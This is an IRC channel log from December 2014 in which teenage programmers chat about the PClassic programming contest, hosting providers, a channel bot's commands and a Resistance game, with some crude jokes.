[2014-12-06T10:21:45-0500] <alokpathy> wat
[2014-12-06T10:21:48-0500] <Tamini_> geographic location in contest thing place thing
[2014-12-06T10:22:05-0500] <alokpathy> Um
[2014-12-06T10:22:12-0500] <alokpathy> the Towne Building in UPenn
[2014-12-06T10:26:05-0500] <Tamini_> ooh im here
[2014-12-06T10:26:06-0500] <Tamini_> <3
[2014-12-06T10:27:38-0500] <alokpathy> comecome
[2014-12-06T10:29:15-0500] <Tamini_> im registering, then setting stuff up
[2014-12-06T10:29:30-0500] <Tamini_> ping me when you get in levine, k? <3
[2014-12-06T10:29:41-0500] <alokpathy>  Just come to Towne 100 :P
[2014-12-06T10:32:26-0500] <Tamini_> but im registering because team names are hard
[2014-12-06T10:32:52-0500] <alokpathy> Flip a coin
[2014-12-06T10:32:56-0500] <alokpathy> if it's heads
[2014-12-06T10:32:59-0500] <alokpathy> your team name is
[2014-12-06T10:33:00-0500] <alokpathy> Apples
[2014-12-06T10:33:01-0500] <alokpathy> else
[2014-12-06T10:33:04-0500] <alokpathy> Bananas 
[2014-12-06T10:48:48-0500] <Tamini_> LOL
[2014-12-06T10:48:51-0500] <Tamini_> arsenik
[2014-12-06T10:48:52-0500] <Tamini_> yes
[2014-12-06T10:48:59-0500] <alokpathy> wao okay
[2014-12-06T10:50:21-0500] <Tamini_> where u at bro
[2014-12-06T10:50:24-0500] <Tamini_> i was near there
[2014-12-06T10:50:27-0500] <Tamini_> then i got lost
[2014-12-06T10:50:32-0500] <Tamini_> so i changed my mind
[2014-12-06T10:54:19-0500] <Tamini_> we're on second floor of levine get here man :(
[2014-12-06T10:54:49-0500] <alokpathy> Can'ttt
[2014-12-06T10:55:13-0500] <Tamini_> whyyyy
[2014-12-06T11:01:02-0500] <Tamini_> i need to see youuu
[2014-12-06T11:42:04-0500] <Tamini_> wait so guys
[2014-12-06T11:42:14-0500] <Tamini_> which one are you at and do you wanna set up near us
[2014-12-06T11:43:38-0500] <Tamini_> we're at town fl2 library ithink
[2014-12-06T11:48:32-0500] <alokpathy> oops we already set up
[2014-12-06T11:51:31-0500] <Tamini_> aw where
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[2014-12-06T17:45:52-0500] <Tamini_> awe :O
[2014-12-06T17:45:57-0500] <@awe> Yes?
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[2014-12-06T17:46:06-0500] <Tamini_> look what i did today
[2014-12-06T17:46:08-0500] <@awe> ubuntor_mobile: pls no
[2014-12-06T17:46:21-0500] <Tamini_> https://i.imgur.com/pf1Nvzf.jpg
[2014-12-06T17:46:36-0500] <Tamini_> <3
[2014-12-06T17:46:39-0500] <@awe> Lol, you look so happy.
[2014-12-06T17:46:44-0500] <Tamini_> we are
[2014-12-06T17:46:44-0500] <@awe> This picture is adorable.
[2014-12-06T17:46:49-0500] <Tamini_> we're good friends now <3
[2014-12-06T17:46:56-0500] <Tamini_> brice and i bonded over "math is hard cry"
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[2014-12-06T17:47:45-0500] <@awe> I might have to ban ubuntor_mob lol
[2014-12-06T17:47:56-0500] <@awe>  /ban *!ubuntor_mob@*
[2014-12-06T17:48:53-0500] <Tamini_> you broke it
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[2014-12-06T17:56:05-0500] <bob_twinkles> ubuntor: pls
[2014-12-06T18:07:26-0500] awe sets mode +b ubuntor_mob!*@*
[2014-12-06T18:07:28-0500] <@awe> erm
[2014-12-06T18:07:36-0500] awe sets mode -b ubuntor_mob!*@*
[2014-12-06T18:07:47-0500] awe sets mode +b *!ubuntor_mob@*
[2014-12-06T18:08:00-0500] <@awe> ubuntor: pls no
[2014-12-06T18:08:39-0500] Mode is +ns
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[2014-12-06T18:32:48-0500] <@awe> Cool, alternative nicknames work now.
[2014-12-06T18:33:42-0500] <Tamini_> hm?
[2014-12-06T18:34:00-0500] <@awe> If a nickname is in use, my library supports alternative nicknames.
[2014-12-06T18:34:12-0500] <@awe> That time, awebot tried to nick as awe
[2014-12-06T18:34:14-0500] <@awe> but it was in use.
[2014-12-06T18:34:16-0500] <@awe> So, he changed to awebot.
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[2014-12-06T20:00:11-0500] <alokpathy> awe: We got third at PClassic 
[2014-12-06T20:00:12-0500] <alokpathy> again
[2014-12-06T20:00:20-0500] <@awe> THREEPEAT
[2014-12-06T20:00:30-0500] <alokpathy> I don't think it's possible for Jacob to get better than third LOL
[2014-12-06T20:00:49-0500] <@awe> Oh well.
[2014-12-06T20:00:53-0500] <Tamini_> i got second
[2014-12-06T20:00:55-0500] <Tamini_> we lost to tj
[2014-12-06T20:00:56-0500] <Tamini_> smh
[2014-12-06T20:00:57-0500] <@awe> alokpathy: Are you going to mail me my trophy?
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[2014-12-06T20:01:48-0500] <alokpathy> awe: Yeah, I shipped it to your house in Florida.
[2014-12-06T20:01:54-0500] <JacobEdelman> so, guys
[2014-12-06T20:01:58-0500] <JacobEdelman> I got mailer.ninja
[2014-12-06T20:01:58-0500] <alokpathy> You should be getting two trophies in 0 minutes.
[2014-12-06T20:01:59-0500] <@awe> jwoglom: congrats on the threepeat of third place.
[2014-12-06T20:02:07-0500] <alokpathy> Wrong j :P
[2014-12-06T20:02:11-0500] <JacobEdelman> ... was that meant to go to me?
[2014-12-06T20:02:13-0500] <JacobEdelman> :P
[2014-12-06T20:02:14-0500] <@awe> erm
[2014-12-06T20:02:15-0500] <+jwoglom> i was going to say, wat
[2014-12-06T20:02:16-0500] <@awe> JacobEdelman: yes.
[2014-12-06T20:02:17-0500] <+jwoglom> :P
[2014-12-06T20:02:22-0500] <JacobEdelman> okay
[2014-12-06T20:02:23-0500] <JacobEdelman> thanks
[2014-12-06T20:02:24-0500] <JacobEdelman> so
[2014-12-06T20:02:26-0500] <@awe> I figured j + tab would complete to the person who JUST JOINED
[2014-12-06T20:02:31-0500] <@awe> instead of jwoglom who hasn't spoken in a while.
[2014-12-06T20:02:35-0500] <+jwoglom> yeah
[2014-12-06T20:02:36-0500] <JacobEdelman> I got mailer.ninja and messenger.ninja
[2014-12-06T20:02:37-0500] <+jwoglom> i basically lurk in here
[2014-12-06T20:02:43-0500] <@awe> That's pretty normal.
[2014-12-06T20:02:47-0500] <JacobEdelman> and now I wanna build an email service
[2014-12-06T20:02:51-0500] <JacobEdelman> so
[2014-12-06T20:02:57-0500] <@awe> In the other IRC I hang around on, there's a guy who's been coming for years and hasn't spoken since 2010.
[2014-12-06T20:03:01-0500] <@awe> He's still there everyday.
[2014-12-06T20:03:01-0500] <JacobEdelman> preferences between them?
[2014-12-06T20:03:17-0500] <@awe> JacobEdelman: mailer.ninja
[2014-12-06T20:03:25-0500] <JacobEdelman> ah, I thought so
[2014-12-06T20:03:34-0500] <Tamini_> lol how do ou know hes still there?
[2014-12-06T20:03:36-0500] <JacobEdelman> yeah... hmmm, any features I should have?
[2014-12-06T20:03:39-0500] <@awe> jwoglom: there was also someone who lurked for eight months before he ever spoke.
[2014-12-06T20:03:48-0500] <Tamini_> and not just forgetting to quit
[2014-12-06T20:03:56-0500] <@awe> Well, he probably doesn't read it.
[2014-12-06T20:03:59-0500] <Tamini_> awe: dont forget ubuntor who's lurking 24/7
[2014-12-06T20:04:00-0500] <@awe> But he joins and quits and joins and quits.
[2014-12-06T20:04:07-0500] <+jwoglom> awe: lol nice
[2014-12-06T20:04:08-0500] <@awe> Yeah, he's like ubuntor except ubuntor speaks sometimes.
[2014-12-06T20:04:22-0500] <@awe> jwoglom: and when he started speaking, he just started speaking as though he had been there forever.
[2014-12-06T20:04:29-0500] <@awe> jwoglom: like, he was reading everything for eight months.
[2014-12-06T20:04:42-0500] <+LittleBobbyTables> I wanna do that
[2014-12-06T20:05:43-0500] <JacobEdelman> ubuntor
[2014-12-06T20:05:46-0500] <JacobEdelman> you there?
[2014-12-06T20:06:08-0500] <Tamini_> probably not
[2014-12-06T20:06:10-0500] <alokpathy> ubuntor: Congrats on first
[2014-12-06T20:06:13-0500] <Tamini_> he doesnt have wifi
[2014-12-06T20:06:29-0500] <@awe> O, he won.
[2014-12-06T20:06:32-0500] <@awe> ubuntor: suchwow
[2014-12-06T20:06:45-0500] <@awe> ubuntor: muchimpress
[2014-12-06T20:06:48-0500] <@awe> ubuntor: veryvictory
[2014-12-06T20:07:12-0500] <JacobEdelman> ... I've lost to TJ in anything except HSCTf
[2014-12-06T20:07:15-0500] <JacobEdelman> *HSCTF
[2014-12-06T20:07:23-0500] <@awe> Yeah.
[2014-12-06T20:07:24-0500] <@awe> Basically.
[2014-12-06T20:07:30-0500] <JacobEdelman> no
[2014-12-06T20:07:32-0500] <JacobEdelman> not basicly
[2014-12-06T20:07:34-0500] <JacobEdelman> literally
[2014-12-06T20:07:40-0500] <JacobEdelman> in every competition we have both done
[2014-12-06T20:07:41-0500] <JacobEdelman> they won
[2014-12-06T20:07:45-0500] <+LittleBobbyTables> http://i.imgur.com/ytdAizb.jpg
[2014-12-06T20:08:10-0500] <Tamini_> what even
[2014-12-06T20:08:16-0500] <Tamini_> also lbt: look at how cute we are
[2014-12-06T20:08:29-0500] <Tamini_> https://i.imgur.com/0WLBxVZ.jpg
[2014-12-06T20:08:39-0500] <+LittleBobbyTables> I mean like
[2014-12-06T20:08:41-0500] <+LittleBobbyTables> Why would you do that
[2014-12-06T20:08:49-0500] <alokpathy> LittleBobbyTables: wat
[2014-12-06T20:09:05-0500] <+LittleBobbyTables> I'd rather not freeze my ass off, literally.
[2014-12-06T20:09:12-0500] <Tamini_> yeah like wtf
[2014-12-06T20:09:45-0500] <+LittleBobbyTables> I've seen worse where I live
[2014-12-06T20:09:57-0500] <alokpathy> Wait
[2014-12-06T20:09:59-0500] <+LittleBobbyTables> I just happened to find that picture while browsing the internet.
[2014-12-06T20:10:03-0500] <alokpathy> she's not wearing pants?
[2014-12-06T20:10:14-0500] <Tamini_> thats the point
[2014-12-06T20:10:42-0500] <JacobEdelman> awe: what server do you have again?
[2014-12-06T20:10:46-0500] <JacobEdelman> from what company?
[2014-12-06T20:10:49-0500] <@awe> DigitalOcean.
[2014-12-06T20:10:52-0500] <@awe> They're excellent.
[2014-12-06T20:10:52-0500] <JacobEdelman> thanks
[2014-12-06T20:10:53-0500] <@awe> Wait.
[2014-12-06T20:10:54-0500] <@awe> WAIT
[2014-12-06T20:10:57-0500] <@awe> I have a referral thing.
[2014-12-06T20:10:58-0500] <@awe> Pls.
[2014-12-06T20:11:04-0500] <@awe> JacobEdelman: ^
[2014-12-06T20:11:26-0500] <@awe> JacobEdelman: [19:12:44] -Retep998 CTCP- VERSION Purple IRC
[2014-12-06T20:11:26-0500] <@awe> [19:13:01] -CTCP- BUTTSEX from Retep998
[2014-12-06T20:11:28-0500] <@awe> erm
[2014-12-06T20:11:31-0500] <@awe> JacobEdelman: https://www.digitalocean.com/?refcode=14fde23300bd
[2014-12-06T20:11:43-0500] <+LittleBobbyTables> wut
[2014-12-06T20:11:44-0500] <+LittleBobbyTables> lol
[2014-12-06T20:11:51-0500] <@awe> JacobEdelman: you get $10 free credits and when you spend $25, I get $25.
[2014-12-06T20:12:09-0500] <@awe> LittleBobbyTables: I was showing my friend how terrible his client is at CTCP.
[2014-12-06T20:12:17-0500] <JacobEdelman> hm... what about that thing gus worked for?
[2014-12-06T20:12:17-0500] <+LittleBobbyTables> lmao
[2014-12-06T20:12:47-0500] <@awe> JacobEdelman: also, the GitHub developer pack will give you $100 credit.
[2014-12-06T20:12:53-0500] <@awe> the student developer pack, rather.
[2014-12-06T20:12:59-0500] <JacobEdelman> awe: oh, wow
[2014-12-06T20:13:04-0500] <@awe> Use DO.
[2014-12-06T20:13:05-0500] <@awe> DO is best.
[2014-12-06T20:13:09-0500] <+LittleBobbyTables> I still don't have a response from them
[2014-12-06T20:13:10-0500] <JacobEdelman> awe: okay, yeah, I guess I will just get that or something
[2014-12-06T20:13:20-0500] <JacobEdelman> awe: yeah, I'll email them
[2014-12-06T20:13:27-0500] <@awe> Email who?
[2014-12-06T20:13:30-0500] <@awe> GitHub?
[2014-12-06T20:13:34-0500] <@awe> that's who LittleBobbyTables was talking about.
[2014-12-06T20:13:47-0500] <+LittleBobbyTables> GitHub
[2014-12-06T20:13:59-0500] <+LittleBobbyTables> Oh
[2014-12-06T20:14:04-0500] <+LittleBobbyTables> JK I'm not reading a lot
[2014-12-06T20:14:05-0500] <+LittleBobbyTables> lol
[2014-12-06T20:17:18-0500] <@awe> I'm hungry.
[2014-12-06T20:19:09-0500] <+LittleBobbyTables> http://www.liveleak.com/view?i=38d_1417872788
[2014-12-06T20:19:15-0500] <+LittleBobbyTables> NSFW, but she totally enjoyed it.
[2014-12-06T20:20:24-0500] <@awe> lol
[2014-12-06T20:21:55-0500] <+LittleBobbyTables> Translation: Woman: "To the wrong way" (maybe talking about opening the zipper). Woman: "Haha that was funny". Man: "Was it funny" (was it good is direct translation). Woman: "Hide your dick". Man: "He waited 2 hours with his dick in a bag" (cant 100% hear what he says) . Woman: "Good job guys". Man: "YES, it worked". Man: "She was also laughing".
[2014-12-06T20:22:25-0500] <@awe> Okay then.
[2014-12-06T20:22:33-0500] <alokpathy> wat
[2014-12-06T20:22:51-0500] <@awe> Dude puts penis in fanny pack. Security check lady opens it up and boom penis.
[2014-12-06T20:45:13-0500] <alokpathy> I see
[2014-12-06T20:55:29-0500] <JacobEdelman> I am back
[2014-12-06T20:55:31-0500] <JacobEdelman> and wow
[2014-12-06T20:55:32-0500] <JacobEdelman> ....
[2014-12-06T20:56:02-0500] <Tamini_> hi JacobEdelman :)
[2014-12-06T20:56:06-0500] <JacobEdelman> hello
[2014-12-06T20:56:09-0500] <JacobEdelman> korra is good
[2014-12-06T20:56:23-0500] <JacobEdelman> now that it is just toph and family
[2014-12-06T20:57:11-0500] <alokpathy> Toy Story 3 is so sad .-.
[2014-12-06T20:58:43-0500] <Tamini_> yeahh
[2014-12-06T20:58:44-0500] <Tamini_> :(
[2014-12-06T21:00:11-0500] <alokpathy> Lol but #14 today
[2014-12-06T21:00:16-0500] <alokpathy> went about it the completely wrong way :D
[2014-12-06T21:00:36-0500] <Tamini_>  LOL
[2014-12-06T21:00:38-0500] <Tamini_> what was it
[2014-12-06T21:00:41-0500] <alokpathy> The fish one
[2014-12-06T21:00:44-0500] <alokpathy> I was like
[2014-12-06T21:00:51-0500] <alokpathy> it's totally graph theory how do we optimize
[2014-12-06T21:00:57-0500] <alokpathy> Lewis: jk it's dp
[2014-12-06T21:01:16-0500] <Tamini_> yeah we tried dp
[2014-12-06T21:01:18-0500] <Tamini_> it died
[2014-12-06T21:01:28-0500] <alokpathy> The IOIer though
[2014-12-06T21:01:42-0500] <Tamini_> gg
[2014-12-06T21:14:26-0500] <@awe> [20:56:23]  <JacobEdelman>	now that it is just toph and family
[2014-12-06T21:14:30-0500] <@awe> JacobEdelman: wow, way to spoilers.
[2014-12-06T21:14:38-0500] <JacobEdelman> ...
[2014-12-06T21:14:39-0500] <JacobEdelman> what
[2014-12-06T21:14:42-0500] <@awe> I don't know.
[2014-12-06T21:14:45-0500] <@awe> I haven't seen it since season 1.
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[2014-12-06T21:14:56-0500] <JacobEdelman> .... that doesn't count as a spoiler
[2014-12-06T21:15:01-0500] <JacobEdelman> its an early season thing
[2014-12-06T21:15:53-0500] <JacobEdelman> fine
[2014-12-06T21:15:55-0500] <JacobEdelman> #korra
[2014-12-06T21:15:56-0500] <JacobEdelman> there
[2014-12-06T21:16:09-0500] <@awe> JacobEdelman: your website is gross.
[2014-12-06T21:16:14-0500] <JacobEdelman> what website?
[2014-12-06T21:16:16-0500] <JacobEdelman> oh
[2014-12-06T21:16:21-0500] <JacobEdelman> the one I just pushed to github
[2014-12-06T21:16:22-0500] <@awe> JacobEdelman: you're making an iframe to link to HSCS.io?
[2014-12-06T21:16:23-0500] <JacobEdelman> a second ago
[2014-12-06T21:16:26-0500] <JacobEdelman> yeah
[2014-12-06T21:16:30-0500] <JacobEdelman> so?
[2014-12-06T21:16:33-0500] <JacobEdelman> its in progress
[2014-12-06T21:16:38-0500] <JacobEdelman> and you'll see what it looks like
[2014-12-06T21:16:51-0500] <JacobEdelman> trust me
[2014-12-06T21:16:51-0500] <@awe> I know what you're doing though.
[2014-12-06T21:16:53-0500] <@awe> It's gross.
[2014-12-06T21:16:59-0500] <JacobEdelman> you'll only understand what I'm doing
[2014-12-06T21:17:03-0500] <JacobEdelman> if you know what ventus is
[2014-12-06T21:17:42-0500] <@awe> Oh, eh.
[2014-12-06T21:17:46-0500] <@awe> I guess it's not as bad.
[2014-12-06T21:19:23-0500] <+LittleBobbyTables> So my mom is currently paying 50 bucks for internet now. There's internet significantly better for 10 cheaper a month. She bought something on Amazon for 25, and saw it in another store for 15 and wanted to see if Amazon would give that 10 dollars back in a price match. When I asked why because it was just 10 dollars, she's like "it's the principal that
[2014-12-06T21:19:23-0500] <+LittleBobbyTables> matters".
[2014-12-06T21:19:56-0500] <+LittleBobbyTables> Then she got refunded 5 bucks (because of me), and she's like "well, 5 is better than nothing"
[2014-12-06T21:20:04-0500] <+LittleBobbyTables> I have no idea wtf she's thinking half the time.
[2014-12-06T21:20:16-0500] <@awe> LittleBobbyTables: punch her in the face, and then get better internet.
[2014-12-06T21:20:31-0500] <+LittleBobbyTables> I've thought about it a lot.
[2014-12-06T21:20:45-0500] <+LittleBobbyTables> But then she'd probably make me start paying rent.
[2014-12-06T21:20:48-0500] <+LittleBobbyTables> Which I'd rather not have to do.
[2014-12-06T21:21:58-0500] <The_Master> LittleBobbyTables: Don't let logic get in the way of your principals.
[2014-12-06T21:23:32-0500] <+LittleBobbyTables> I'd rather be making 35k as a college student with no bills and spend that on useful things like new computer parts, phones, and video games than spend it on things like a place to live.
[2014-12-06T21:24:00-0500] <+LittleBobbyTables> I've also offered to help pay the difference that the internet will be after a year (so save 120 bucks for faster internet), which is 5 bucks more a month. 
[2014-12-06T21:24:35-0500] <Tamini_> awe: i met sammy and ezra today
[2014-12-06T21:24:44-0500] <Tamini_> i failed to recognize sammy because no red hair wtf
[2014-12-06T21:25:40-0500] <The_Master> Tamini_: just because everyone with red hair is a Berger it doesn't mean every Berger has red hair.
[2014-12-06T21:26:00-0500] <Tamini_> darn but its like aaron's defining feature
[2014-12-06T21:26:14-0500] <Tamini_> also my team was asking about "the guy with the crazy hair" :P
[2014-12-06T21:29:03-0500] <JacobEdelman> awe: I pushed an update
[2014-12-06T21:29:06-0500] <JacobEdelman> and now its pretty
[2014-12-06T21:29:07-0500] <JacobEdelman> and works
[2014-12-06T21:29:20-0500] <@awe> Tamini_: :D
[2014-12-06T21:29:38-0500] <Tamini_> i also made actual friends with brice
[2014-12-06T21:29:47-0500] <Tamini_> bonded over "math is super hard i cryyy"
[2014-12-06T21:35:31-0500] <+LittleBobbyTables> Oh also. We were out shopping, and there was a 1600x900 monitor selling for like 60 bucks or something, and she's like "No that's way too expensive"
[2014-12-06T21:35:57-0500] <+LittleBobbyTables> I'm like "uhhh fuckface. Good luck getting that one for less than 90 anywhere else"
[2014-12-06T21:38:06-0500] <The_Master> Dr. Gandhi was awesome.
[2014-12-06T21:38:18-0500] <The_Master> (at PClassic)
[2014-12-06T21:41:05-0500] <The_Master> Does anyone want to play resistance?
[2014-12-06T21:41:52-0500] <@awe> !resistance
[2014-12-06T21:41:52-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-12-06T21:41:59-0500] <The_Master> !join
[2014-12-06T21:42:28-0500] <@awe> Tamini_: JacobEdelman alokpathy LittleBobbyTables 
[2014-12-06T21:42:44-0500] <+LittleBobbyTables> !join
[2014-12-06T21:42:52-0500] <+LittleBobbyTables> !users
[2014-12-06T21:43:03-0500] <+LittleBobbyTables> Damn it what bot was that.
[2014-12-06T21:43:08-0500] awebot (awebot@pdgn-odp.kdo.od786m.IP) joined the channel
[2014-12-06T21:43:09-0500] <@awe> @users
[2014-12-06T21:43:09-0500] <awebot> Users: +hardmath123, +ubuntor, The_Master, alokpathy, +LittleBobbyTables, Tamini_, JacobEdelman, @+awe, +jwoglom, awebot, benwaffle, +Tamini, bob_twinkles, Hyper, &Pidgey, Eleng555, nezorg
[2014-12-06T21:43:10-0500] awebot (awebot@pdgn-odp.kdo.od786m.IP) left IRC (Connection closed)
[2014-12-06T21:43:16-0500] <+LittleBobbyTables> That's the one.
[2014-12-06T21:43:17-0500] <JacobEdelman> !join JacobEdelman 
[2014-12-06T21:43:22-0500] <alokpathy> !join
[2014-12-06T21:43:43-0500] awebot (awebot@pdgn-odp.kdo.od786m.IP) joined the channel
[2014-12-06T21:43:50-0500] <@awe> awebot is op
[2014-12-06T21:43:50-0500] awebot (awebot@pdgn-odp.kdo.od786m.IP) left IRC (Connection closed)
[2014-12-06T21:43:56-0500] <@awe> Except for the crashing.
[2014-12-06T21:44:17-0500] <@awe> It's weird. There aren't any plugins that should be making him crash.
[2014-12-06T21:45:36-0500] <The_Master> Colbert has Barrack Obama as his guest on his last show.
[2014-12-06T21:45:40-0500] <+ubuntor> that was fun
[2014-12-06T21:46:29-0500] <+jwoglom> it's not his last show, actually
[2014-12-06T21:46:36-0500] <+jwoglom> it was misreported, his last show's on the 19th
[2014-12-06T21:46:52-0500] <The_Master> jwoglom: ok, the show on Monday in DC
[2014-12-06T21:47:01-0500] <+jwoglom> he's going to be in DC for that, but the showing's only open to GWU students :/
[2014-12-06T21:47:04-0500] <The_Master> jwoglom: when is his last show?
[2014-12-06T21:47:33-0500] <+jwoglom> thursday the *18th
[2014-12-06T21:47:35-0500] <+jwoglom> not 19th
[2014-12-06T21:47:40-0500] <+LittleBobbyTables> My god. We can't even BOTH be on the internet at the same time without lagging.
[2014-12-06T21:47:54-0500] <+LittleBobbyTables> Like, barely manage to watch 144p on youtube when she's on.
[2014-12-06T21:47:54-0500] awebot (awebot@pdgn-odp.kdo.od786m.IP) joined the channel
[2014-12-06T21:47:55-0500] <@awe> hm
[2014-12-06T21:48:02-0500] <@awe> Okay, now awebot isn't crashing.
[2014-12-06T21:48:03-0500] <+LittleBobbyTables> How the hell am I supposed to watch porn now
[2014-12-06T21:48:36-0500] <@awe> @users
[2014-12-06T21:48:36-0500] <awebot> Users: +hardmath123, +ubuntor, The_Master, alokpathy, +LittleBobbyTables, Tamini_, JacobEdelman, @+awe, +jwoglom, benwaffle, +Tamini, bob_twinkles, awebot, Hyper, &Pidgey, Eleng555, nezorg
[2014-12-06T21:48:38-0500] <@awe> :D
[2014-12-06T21:48:49-0500] <+Tamini> awebot stop pinging me
[2014-12-06T21:48:50-0500] <+Tamini> LOL
[2014-12-06T21:48:50-0500] <Eleng555> lol
[2014-12-06T21:48:55-0500] <benwaffle> @users
[2014-12-06T21:48:55-0500] <awebot> Users: +hardmath123, +ubuntor, The_Master, alokpathy, +LittleBobbyTables, Tamini_, JacobEdelman, @+awe, +jwoglom, benwaffle, +Tamini, bob_twinkles, awebot, Hyper, &Pidgey, Eleng555, nezorg
[2014-12-06T21:48:56-0500] <benwaffle> @users
[2014-12-06T21:48:56-0500] <awebot> Users: +hardmath123, +ubuntor, The_Master, alokpathy, +LittleBobbyTables, Tamini_, JacobEdelman, @+awe, +jwoglom, benwaffle, +Tamini, bob_twinkles, awebot, Hyper, &Pidgey, Eleng555, nezorg
[2014-12-06T21:48:56-0500] <benwaffle> @users
[2014-12-06T21:48:56-0500] <awebot> Users: +hardmath123, +ubuntor, The_Master, alokpathy, +LittleBobbyTables, Tamini_, JacobEdelman, @+awe, +jwoglom, benwaffle, +Tamini, bob_twinkles, awebot, Hyper, &Pidgey, Eleng555, nezorg
[2014-12-06T21:48:56-0500] <benwaffle> @users
[2014-12-06T21:48:56-0500] <awebot> Users: +hardmath123, +ubuntor, The_Master, alokpathy, +LittleBobbyTables, Tamini_, JacobEdelman, @+awe, +jwoglom, benwaffle, +Tamini, bob_twinkles, awebot, Hyper, &Pidgey, Eleng555, nezorg
[2014-12-06T21:48:57-0500] <benwaffle> @users
[2014-12-06T21:48:57-0500] <awebot> Users: +hardmath123, +ubuntor, The_Master, alokpathy, +LittleBobbyTables, Tamini_, JacobEdelman, @+awe, +jwoglom, benwaffle, +Tamini, bob_twinkles, awebot, Hyper, &Pidgey, Eleng555, nezorg
[2014-12-06T21:48:57-0500] <+jwoglom> awebot: BAD BOT
[2014-12-06T21:48:57-0500] <benwaffle> @users
[2014-12-06T21:48:57-0500] <awebot> Users: +hardmath123, +ubuntor, The_Master, alokpathy, +LittleBobbyTables, Tamini_, JacobEdelman, @+awe, +jwoglom, benwaffle, +Tamini, bob_twinkles, awebot, Hyper, &Pidgey, Eleng555, nezorg
[2014-12-06T21:48:59-0500] <+jwoglom> awebot: BAD BOT
[2014-12-06T21:48:59-0500] awe kicked benwaffle from the channel (Goodbye)
[2014-12-06T21:49:00-0500] <+ubuntor> pls no
[2014-12-06T21:49:01-0500] <+jwoglom> awebot: BAD BOT
[2014-12-06T21:49:03-0500] <+jwoglom> awebot: BAD BOT
[2014-12-06T21:49:04-0500] benwaffle (c@pdgn-age.6rf.1mge6b.IP) joined the channel
[2014-12-06T21:49:05-0500] <+jwoglom> awebot: BAD BOT
[2014-12-06T21:49:06-0500] <benwaffle> llol
[2014-12-06T21:49:08-0500] <bob_twinkles> benwaffle: pls
[2014-12-06T21:49:14-0500] <benwaffle> time to write irc bot
[2014-12-06T21:49:15-0500] <benwaffle> in scala
[2014-12-06T21:49:20-0500] <+Tamini> AWE
[2014-12-06T21:49:22-0500] <+Tamini> ru kidding
[2014-12-06T21:49:24-0500] <@awe> Tamini: What?
[2014-12-06T21:49:26-0500] <+Tamini> oh it was ben
[2014-12-06T21:49:30-0500] <+Tamini> I thought it was you
[2014-12-06T21:49:31-0500] <@awe> I kicked him.
[2014-12-06T21:49:35-0500] <benwaffle> ayy
[2014-12-06T21:49:46-0500] <The_Master> people join resistance.
[2014-12-06T21:49:55-0500] <@awe> !join, guys.
[2014-12-06T21:49:55-0500] <&Pidgey> You've already joined this game!
[2014-12-06T21:51:12-0500] <+LittleBobbyTables> Tamini_: join
[2014-12-06T21:51:58-0500] <@awe> Tamini: 
[2014-12-06T21:51:59-0500] <benwaffle> !join
[2014-12-06T21:51:59-0500] <@awe> Tamini: 
[2014-12-06T21:52:00-0500] <@awe> Tamini: 
[2014-12-06T21:52:00-0500] <@awe> Tamini: 
[2014-12-06T21:52:07-0500] <+Tamini> hey
[2014-12-06T21:52:08-0500] <+Tamini> what
[2014-12-06T21:52:09-0500] <+Tamini> uh
[2014-12-06T21:52:16-0500] <+Tamini> stop pinging me so much
[2014-12-06T21:52:19-0500] <+Tamini> who's playing rn
[2014-12-06T21:52:33-0500] <@awe> JacobEdelman, The_Master, myself, LittleBobbyTables, benwaffle 
[2014-12-06T21:52:44-0500] <+LittleBobbyTables> Tamini_: come play with us cool kids
[2014-12-06T21:52:49-0500] <benwaffle> what game
[2014-12-06T21:52:58-0500] <benwaffle> am i joining
[2014-12-06T21:53:43-0500] <alokpathy> So many pings
[2014-12-06T21:53:54-0500] <@awe> @ddg !w The Resistance (game)
[2014-12-06T21:53:54-0500] <awebot> awe: https://duckduckgo.com/?q=!w+The+Resistance+(game)
[2014-12-06T21:54:06-0500] <@awe> benwaffle: ^
[2014-12-06T21:54:29-0500] <benwaffle> wtf
[2014-12-06T21:54:56-0500] <benwaffle> !leave
[2014-12-06T21:55:02-0500] <benwaffle> !unjoin
[2014-12-06T21:55:03-0500] <benwaffle> !help
[2014-12-06T21:55:09-0500] <benwaffle> @leave
[2014-12-06T21:55:13-0500] <benwaffle> @help
[2014-12-06T21:55:42-0500] <@awe> There's no help.
[2014-12-06T21:55:45-0500] <@awe> And no way to leave.
[2014-12-06T21:55:46-0500] <@awe> !drop
[2014-12-06T21:55:46-0500] <&Pidgey> The game of Resistance has been dropped.
[2014-12-06T21:55:48-0500] <@awe> There.
[2014-12-06T21:57:19-0500] <@awe> @choose this or that
[2014-12-06T21:57:19-0500] <awebot> awe: that
[2014-12-06T21:57:45-0500] <@awe> @choose alokpathy or Tamini
[2014-12-06T21:57:45-0500] <awebot> awe: alokpathy
[2014-12-06T21:57:47-0500] <@awe> :(
[2014-12-06T21:57:51-0500] <@awe> Bad choice, awebot.
[2014-12-06T21:57:53-0500] <+Tamini> LOL
[2014-12-06T21:57:55-0500] <alokpathy> awebot: :D
[2014-12-06T21:57:57-0500] <alokpathy> awebot: >:|
[2014-12-06T21:58:00-0500] <alokpathy> oops
[2014-12-06T21:58:04-0500] <alokpathy> awe: >:|
[2014-12-06T21:58:06-0500] <@awe> @choose JacobEdelman or Tamini
[2014-12-06T21:58:06-0500] <awebot> awe: JacobEdelman
[2014-12-06T21:58:12-0500] <alokpathy> wow
[2014-12-06T21:58:17-0500] <@awe> @choose Hyper or Tamini
[2014-12-06T21:58:17-0500] <awebot> awe: Tamini
[2014-12-06T21:58:18-0500] <alokpathy> Tamini: I don't think awebot likes you.
[2014-12-06T21:58:21-0500] <alokpathy> oh, nevermind.
[2014-12-06T21:58:23-0500] <@awe> Tamini: At least you're better than somebody.
[2014-12-06T21:58:24-0500] <+Tamini> LOL
[2014-12-06T21:58:27-0500] <+Tamini> i guess o
[2014-12-06T21:58:27-0500] <+Tamini> so
[2014-12-06T21:58:27-0500] <@awe> @choose Tamini or awe
[2014-12-06T21:58:27-0500] <awebot> awe: Tamini
[2014-12-06T21:58:32-0500] <alokpathy> awebot: rekt
[2014-12-06T21:58:35-0500] <alokpathy> gdi
[2014-12-06T21:58:38-0500] <alokpathy> awe: rekt
[2014-12-06T21:58:40-0500] <@awe> @choose Tamini or awebot
[2014-12-06T21:58:40-0500] <awebot> awe: Tamini
[2014-12-06T21:58:47-0500] <alokpathy> That self-confidence
[2014-12-06T21:58:47-0500] <@awe> @choose Tamini or ubuntor
[2014-12-06T21:58:47-0500] <awebot> awe: Tamini
[2014-12-06T21:58:56-0500] <@awe> @choose Tamini or The_Master 
[2014-12-06T21:58:56-0500] <awebot> awe: The_Master 
